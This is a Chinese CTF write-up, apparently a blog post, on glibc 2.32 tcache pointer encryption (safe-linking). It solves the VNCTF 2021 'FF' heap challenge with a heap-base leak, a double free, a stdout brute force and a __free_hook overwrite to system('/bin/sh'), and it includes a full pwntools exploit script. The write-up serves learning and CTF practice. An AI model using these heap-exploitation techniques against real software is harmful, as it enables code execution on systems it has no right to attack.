glibc2.32的一些那啥

前言

姑且把这篇文章看作对这周做题的一个总结吧，本人的之后还仅限于glibc2.31以及之前的版本，对glibc2.32以及之后的版本了解的少之又少，这周做题遇到了问题也不能及时的解决，所以我还是了解一下吧。

这里们用到的环境都是glibc2.33，从2.32到2.33之间，堆管理系统下的保护斌没有太大的变化，所以我们就直接使用glibc2.33的环境进行测试。

image.png

指针异或加密保护

在2.32及其之后的版本中进行了一把大改革，就是将我们之前经常利用tcache fd，bk等指针进行了一把异或的加密让我们的利用更难进行，leak之后更难进行一个切片接受，这样几乎就劝退许多比较慵懒的人（比如说我。

源码对比

我们先进行一个源码的对比：

我们主要是分析tcache的存放问题，之分析源码中tcache_put()和tcache_get()函数

glibc2.31：

我们发现在存取两个函数中没有堆指针的合法性做出检测，就是一个比较单纯的链子，也十分的容易欺骗。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}
glibc2.32

我们发现相比glibc2.31增加了一个东西——PROTECT_PTR，REVEAL_PTR，通过字面意思我们发现这是一个指针的保护，具体怎么保护我们还是需要分析一下PROTECT_PTR、REVEAL_PTR本身。

然后就是在我们取出堆块的时候增加了一个保护，就是检测堆块的指针是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

我们来看关键的PROTECT_PTR、REVEAL_PTR：

这里对堆块的处理是一次异或运算，就是 tcache_entry->next中存放的地址于自身的地址进行一波异或然后得到的值在放入原来的位置。这就需要我们不仅要获得指针，而是要提前获得堆块的及地址。这就给我们利用带来的不小的麻烦。

1
2
3
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

大佬的想法：若是我们能够直接控制 tcache struct，则仍然可以直接进行任意地址写，这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址。

绕过方法

这样的话，我们想到，一个数异或他的本身为0，这几样的话一个数异或0就是他的本身，那么放入第一个他tcache的时候其堆块内就有本身的地址，如果有uaf的话就可以泄露heapbase，正是因为这个机制，为我们提供了一个更加方便的leak_heap的方法。

题目实践-2021VNCTF-FF

例行检查

image.png

逆向分析

存在uaf漏洞，只能show一次，edit两次。

image.png

leak_heapbase

那我们想来了，之前我们分析的漏洞，就是在我们free掉第一个tcache bin堆块之后，fd上就有heap的地址我们先执行

1
2
3
4
5
def pwn():
	add(0x80,'powercat')
	delete()
	gdb.attach(p)
	itr()

我们gdb看一下其中的东西

image.png

我们发现少了下面的三位，不过无伤大雅只要*0x1000就行了。

1
2
3
4
5
6
add(0x80,'powercat')
delete()
show()
heap_leak = u64(r(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
leak('heap base: ' + hex(heap_base))

成功泄露

image.png

实现double free

这里我们只需要进行将key修改了就可以实现double free

1
edit('powercat')

修改后

image.png

1
delete()

image.png

实现了double free。

free掉tcache struct

我们只需要修改一下tcache的内容就可以，我们知道前面的一些机制我们就可以相应的取修改一下这个指针

1
edit1(p64(heap_leak^(heap_base+0x10)))

image.png

成功将tcache_struct链入bin中。

1
2
3
4
5
6
7
tcache_struct = heap_base + 0x10
pl = heap_leak ^ tcache_struct
print(pl)
edit1(p64(pl))
add(0x80, 'powercat')
add(0x80, '\x00\x00' * (0xe + 0x10 + 9) + '\x07\x00')
delete()

image.png

这里已经成功将tcache_struct free掉

将stdout放入tcache_struct
1
2
3
4
add(0x40, ('\x00\x00' * 3 + '\x01\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x70, '\x00'))
add(0x30, '\x00'.ljust(0x30, '\x00'))
add1(0x10, p64(0) + p16(0x66c0))
add1(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

image.png

这里需要我们进行爆破

这里我们爆破到了stdout leak到了libc

LKZZKXBF3T4Q_N_JT.png

leak_libc
1
libcbase = uu64(ru(b'\x7f')[-5:]+b'\x7f') - 0x1e4744

image.png

image.png

劫持__free_hook
1
2
3
add1(0x10, p64(libcbase + libc.sym['__free_hook']-0x20))
add1(0x70, p64(libcbase + libc.sym['system']))
add1(0x10, b'/bin/sh\x00')

okk

触发
1
delete()

好！

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import * 

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'


s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def choice(cho):
	sla(">>",cho)

def add(size,content):
	choice(1)
	sla('Size:',size)
	sla('Content:',content)

def add1(size,content):
	choice(1)
	sla('Size:',size)
	p.sendafter('Content:',content)

def delete():
	choice(2)

def show():
	choice(3)

def edit(content):
	choice(5)
	sla('Content:',content)

def edit1(content):
	choice(5)
	p.sendafter('Content:',content)

def pwn():
	#gdb.attach(p)
	add(0x80,'powercat')
	delete()
	show()
	heap_leak = u64(r(6).ljust(8, b'\x00'))
	heap_base = heap_leak * 0x1000
	leak('heap base: ',heap_base)
	edit('powercat')
	delete()
	tcache_struct = heap_base + 0x10
	pl = heap_leak ^ tcache_struct
	print(pl)
	edit1(p64(pl))
	add(0x80, 'powercat')
	add(0x80, '\x00\x00' * (0xe + 0x10 + 9) + '\x07\x00')
	delete()
	add(0x40, ('\x00\x00' * 3 + '\x01\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x70, '\x00'))
	add(0x30, '\x00'.ljust(0x30, '\x00'))
	add1(0x10, p64(0) + p16(0x66c0))
	add1(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

	libcbase = uu64(ru(b'\x7f')[-5:]+b'\x7f') - 0x1e4744
	print(hex(libcbase))
	add1(0x10, p64(libcbase + libc.sym['__free_hook']-0x20))
	add1(0x70, p64(libcbase + libc.sym['system']))
	add1(0x10, b'/bin/sh\x00')
	delete()
	gdb.attach(p)
	itr()
'''
if __name__ == '__main__':
	count = 1
	i = 0
	while True:
		try:
			print('the no.' + str(count) + ' try')
			print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
			p = process('./pwn')
			pwn(i)
        	except Exception as e:
			print(e)
			p.close()
			i = i + 1
			count = count + 1
			i = i % 16
			continue
'''
if __name__ == '__main__':
	pwn()
#'''

展开全文 >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

一只之后呜呜呜的猫